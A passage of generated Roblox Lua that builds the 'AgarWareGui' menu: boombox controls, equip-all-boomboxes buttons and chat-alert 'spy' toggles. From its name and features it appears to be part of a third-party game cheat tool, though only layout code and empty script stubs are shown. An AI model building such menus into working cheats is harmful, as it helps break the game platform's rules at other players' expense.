G2L["275"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxAccentColor
G2L["276"] = Instance.new("Frame", G2L["272"]);
G2L["276"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["276"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["276"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["276"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["276"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["276"]["Name"] = [[BoomboxAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTitle
G2L["277"] = Instance.new("TextLabel", G2L["272"]);
G2L["277"]["TextWrapped"] = true;
G2L["277"]["BorderSizePixel"] = 0;
G2L["277"]["TextSize"] = 14;
G2L["277"]["TextScaled"] = true;
G2L["277"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["277"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["277"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["277"]["BackgroundTransparency"] = 0.95;
G2L["277"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["277"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["277"]["Text"] = [[Boombox]];
G2L["277"]["LayoutOrder"] = 1;
G2L["277"]["Name"] = [[BoomboxTitle]];
G2L["277"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomboxTitle.BoomboxMinimize
G2L["278"] = Instance.new("TextButton", G2L["277"]);
G2L["278"]["BorderSizePixel"] = 0;
G2L["278"]["TextSize"] = 14;
G2L["278"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["278"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["278"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["278"]["BackgroundTransparency"] = 1;
G2L["278"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["278"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["278"]["Text"] = [[-]];
G2L["278"]["Name"] = [[BoomboxMinimize]];
G2L["278"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow
G2L["279"] = Instance.new("Frame", G2L["272"]);
G2L["279"]["BorderSizePixel"] = 0;
G2L["279"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["279"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["279"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["279"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["279"]["Name"] = [[BoomVolRow]];
G2L["279"]["LayoutOrder"] = 2;
G2L["279"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolScript
G2L["27a"] = Instance.new("LocalScript", G2L["279"]);
G2L["27a"]["Name"] = [[BoomVolScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolTickBox
G2L["27b"] = Instance.new("TextButton", G2L["279"]);
G2L["27b"]["TextSize"] = 14;
G2L["27b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27b"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["27b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["27b"]["Text"] = [[]];
G2L["27b"]["Name"] = [[BoomVolTickBox]];
G2L["27b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolText
G2L["27c"] = Instance.new("TextLabel", G2L["279"]);
G2L["27c"]["BorderSizePixel"] = 0;
G2L["27c"]["TextSize"] = 14;
G2L["27c"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["27c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27c"]["BackgroundTransparency"] = 1;
G2L["27c"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["27c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27c"]["Text"] = [[Volume]];
G2L["27c"]["Name"] = [[BoomVolText]];
G2L["27c"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.BoomVolRow.BoomVolChanger
G2L["27d"] = Instance.new("TextBox", G2L["279"]);
G2L["27d"]["Name"] = [[BoomVolChanger]];
G2L["27d"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["27d"]["TextWrapped"] = true;
G2L["27d"]["TextSize"] = 14;
G2L["27d"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["27d"]["TextScaled"] = true;
G2L["27d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["27d"]["PlaceholderText"] = [[(100)]];
G2L["27d"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["27d"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["27d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["27d"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow
G2L["27e"] = Instance.new("Frame", G2L["272"]);
G2L["27e"]["BorderSizePixel"] = 0;
G2L["27e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["27e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["27e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["27e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["27e"]["Name"] = [[MuteTacoRow]];
G2L["27e"]["LayoutOrder"] = 2;
G2L["27e"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoScript
G2L["27f"] = Instance.new("LocalScript", G2L["27e"]);
G2L["27f"]["Name"] = [[MuteTacoScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoTickBox
G2L["280"] = Instance.new("TextButton", G2L["27e"]);
G2L["280"]["TextSize"] = 14;
G2L["280"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["280"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["280"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["280"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["280"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["280"]["Text"] = [[]];
G2L["280"]["Name"] = [[MuteTacoTickBox]];
G2L["280"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.MuteTacoRow.MuteTacoText
G2L["281"] = Instance.new("TextLabel", G2L["27e"]);
G2L["281"]["BorderSizePixel"] = 0;
G2L["281"]["TextSize"] = 14;
G2L["281"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["281"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["281"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["281"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["281"]["BackgroundTransparency"] = 1;
G2L["281"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["281"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["281"]["Text"] = [[Mute Taco Song]];
G2L["281"]["Name"] = [[MuteTacoText]];
G2L["281"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow
G2L["282"] = Instance.new("Frame", G2L["272"]);
G2L["282"]["BorderSizePixel"] = 0;
G2L["282"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["282"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["282"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["282"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["282"]["Name"] = [[ClickBoomRow]];
G2L["282"]["LayoutOrder"] = 2;
G2L["282"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomScript
G2L["283"] = Instance.new("LocalScript", G2L["282"]);
G2L["283"]["Name"] = [[ClickBoomScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomTickBox
G2L["284"] = Instance.new("TextButton", G2L["282"]);
G2L["284"]["TextSize"] = 14;
G2L["284"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["284"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["284"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["284"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["284"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["284"]["Text"] = [[]];
G2L["284"]["Name"] = [[ClickBoomTickBox]];
G2L["284"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.ClickBoomRow.ClickBoomText
G2L["285"] = Instance.new("TextLabel", G2L["282"]);
G2L["285"]["BorderSizePixel"] = 0;
G2L["285"]["TextSize"] = 14;
G2L["285"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["285"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["285"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["285"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["285"]["BackgroundTransparency"] = 1;
G2L["285"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["285"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["285"]["Text"] = [[Click to Log]];
G2L["285"]["Name"] = [[ClickBoomText]];
G2L["285"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow
G2L["286"] = Instance.new("Frame", G2L["272"]);
G2L["286"]["BorderSizePixel"] = 0;
G2L["286"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["286"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["286"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["286"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["286"]["Name"] = [[AutoPlayRow]];
G2L["286"]["LayoutOrder"] = 3;
G2L["286"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayScript
G2L["287"] = Instance.new("LocalScript", G2L["286"]);
G2L["287"]["Name"] = [[AutoPlayScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayChanger
G2L["288"] = Instance.new("TextBox", G2L["286"]);
G2L["288"]["Name"] = [[AutoPlayChanger]];
G2L["288"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["288"]["TextWrapped"] = true;
G2L["288"]["TextSize"] = 14;
G2L["288"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["288"]["TextScaled"] = true;
G2L["288"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["288"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["288"]["PlaceholderText"] = [[(142376088)]];
G2L["288"]["Size"] = UDim2.new(0, 134, 0, 16);
G2L["288"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
G2L["288"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["288"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.AutoPlayRow.AutoPlayTickBox
G2L["289"] = Instance.new("TextButton", G2L["286"]);
G2L["289"]["TextSize"] = 14;
G2L["289"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["289"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["289"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["289"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["289"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["289"]["Text"] = [[]];
G2L["289"]["Name"] = [[AutoPlayTickBox]];
G2L["289"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow
G2L["28a"] = Instance.new("Frame", G2L["272"]);
G2L["28a"]["BorderSizePixel"] = 0;
G2L["28a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["28a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["28a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28a"]["Name"] = [[DisableBoomboxRow]];
G2L["28a"]["LayoutOrder"] = 2;
G2L["28a"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxScript
G2L["28b"] = Instance.new("LocalScript", G2L["28a"]);
G2L["28b"]["Name"] = [[DisableBoomboxScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxTickBox
G2L["28c"] = Instance.new("TextButton", G2L["28a"]);
G2L["28c"]["TextSize"] = 14;
G2L["28c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28c"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["28c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["28c"]["Text"] = [[]];
G2L["28c"]["Name"] = [[DisableBoomboxTickBox]];
G2L["28c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.DisableBoomboxRow.DisableBoomboxText
G2L["28d"] = Instance.new("TextLabel", G2L["28a"]);
G2L["28d"]["BorderSizePixel"] = 0;
G2L["28d"]["TextSize"] = 14;
G2L["28d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["28d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["28d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28d"]["BackgroundTransparency"] = 1;
G2L["28d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["28d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28d"]["Text"] = [[Disable Boombox UI]];
G2L["28d"]["Name"] = [[DisableBoomboxText]];
G2L["28d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow
G2L["28e"] = Instance.new("Frame", G2L["272"]);
G2L["28e"]["BorderSizePixel"] = 0;
G2L["28e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["28e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["28e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["28e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["28e"]["Name"] = [[EquipBoomboxRow]];
G2L["28e"]["LayoutOrder"] = 12;
G2L["28e"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow.EquipBoomboxScript
G2L["28f"] = Instance.new("LocalScript", G2L["28e"]);
G2L["28f"]["Name"] = [[EquipBoomboxScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxRow.EquipBoomboxButton
G2L["290"] = Instance.new("TextButton", G2L["28e"]);
G2L["290"]["TextSize"] = 14;
G2L["290"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["290"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["290"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["290"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["290"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["290"]["Text"] = [[Equip 1 Boombox (echo)]];
G2L["290"]["Name"] = [[EquipBoomboxButton]];
G2L["290"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow
G2L["291"] = Instance.new("Frame", G2L["272"]);
G2L["291"]["BorderSizePixel"] = 0;
G2L["291"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["291"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["291"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["291"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["291"]["Name"] = [[EquipBoomboxesRow]];
G2L["291"]["LayoutOrder"] = 11;
G2L["291"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow.EquipBoomboxesScript
G2L["292"] = Instance.new("LocalScript", G2L["291"]);
G2L["292"]["Name"] = [[EquipBoomboxesScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide.BoomboxGroup.EquipBoomboxesRow.EquipBoomboxesButton
G2L["293"] = Instance.new("TextButton", G2L["291"]);
G2L["293"]["TextSize"] = 14;
G2L["293"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["293"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["293"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["293"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["293"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["293"]["Text"] = [[Equip All Boomboxes]];
G2L["293"]["Name"] = [[EquipBoomboxesButton]];
G2L["293"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide
G2L["294"] = Instance.new("Frame", G2L["246"]);
G2L["294"]["BorderSizePixel"] = 0;
G2L["294"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["294"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["294"]["Position"] = UDim2.new(0.51003, 0, 0.00439, 0);
G2L["294"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["294"]["Name"] = [[TCOMiscRightSide]];
G2L["294"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.UIListLayout
G2L["295"] = Instance.new("UIListLayout", G2L["294"]);
G2L["295"]["Padding"] = UDim.new(0, 7);
G2L["295"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup
G2L["296"] = Instance.new("Frame", G2L["294"]);
G2L["296"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["296"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["296"]["Size"] = UDim2.new(0, 170, 0, 144);
G2L["296"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["296"]["Name"] = [[AlertGroup]];
G2L["296"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertScript
G2L["297"] = Instance.new("LocalScript", G2L["296"]);
G2L["297"]["Name"] = [[AlertScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.UIListLayout
G2L["298"] = Instance.new("UIListLayout", G2L["296"]);
G2L["298"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertAccentColor
G2L["299"] = Instance.new("Frame", G2L["296"]);
G2L["299"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["299"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["299"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["299"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["299"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["299"]["Name"] = [[AlertAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertTitle
G2L["29a"] = Instance.new("TextLabel", G2L["296"]);
G2L["29a"]["TextWrapped"] = true;
G2L["29a"]["BorderSizePixel"] = 0;
G2L["29a"]["TextSize"] = 14;
G2L["29a"]["TextScaled"] = true;
G2L["29a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29a"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["29a"]["BackgroundTransparency"] = 0.95;
G2L["29a"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["29a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29a"]["Text"] = [[Chat Alerts]];
G2L["29a"]["LayoutOrder"] = 1;
G2L["29a"]["Name"] = [[AlertTitle]];
G2L["29a"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.AlertTitle.AlertMinimize
G2L["29b"] = Instance.new("TextButton", G2L["29a"]);
G2L["29b"]["BorderSizePixel"] = 0;
G2L["29b"]["TextSize"] = 14;
G2L["29b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29b"]["BackgroundTransparency"] = 1;
G2L["29b"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["29b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29b"]["Text"] = [[-]];
G2L["29b"]["Name"] = [[AlertMinimize]];
G2L["29b"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.DonateSpyRow
G2L["29c"] = Instance.new("Frame", G2L["296"]);
G2L["29c"]["BorderSizePixel"] = 0;
G2L["29c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29c"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["29c"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["29c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29c"]["Name"] = [[DonateSpyRow]];
G2L["29c"]["LayoutOrder"] = 6;
G2L["29c"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.DonateSpyRow.DonateSpyTickBox
G2L["29d"] = Instance.new("TextButton", G2L["29c"]);
G2L["29d"]["TextSize"] = 14;
G2L["29d"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29d"]["ZIndex"] = 5;
G2L["29d"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["29d"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["29d"]["Text"] = [[]];
G2L["29d"]["Name"] = [[DonateSpyTickBox]];
G2L["29d"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.DonateSpyRow.DonateSpyText
G2L["29e"] = Instance.new("TextLabel", G2L["29c"]);
G2L["29e"]["BorderSizePixel"] = 0;
G2L["29e"]["TextSize"] = 14;
G2L["29e"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["29e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["29e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29e"]["BackgroundTransparency"] = 1;
G2L["29e"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["29e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29e"]["Text"] = [[Alert Donations]];
G2L["29e"]["Name"] = [[DonateSpyText]];
G2L["29e"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.MutedSpyRow
G2L["29f"] = Instance.new("Frame", G2L["296"]);
G2L["29f"]["BorderSizePixel"] = 0;
G2L["29f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["29f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["29f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["29f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["29f"]["Name"] = [[MutedSpyRow]];
G2L["29f"]["LayoutOrder"] = 6;
G2L["29f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.MutedSpyRow.MutedSpyTickBox
G2L["2a0"] = Instance.new("TextButton", G2L["29f"]);
G2L["2a0"]["TextSize"] = 14;
G2L["2a0"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a0"]["ZIndex"] = 5;
G2L["2a0"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2a0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
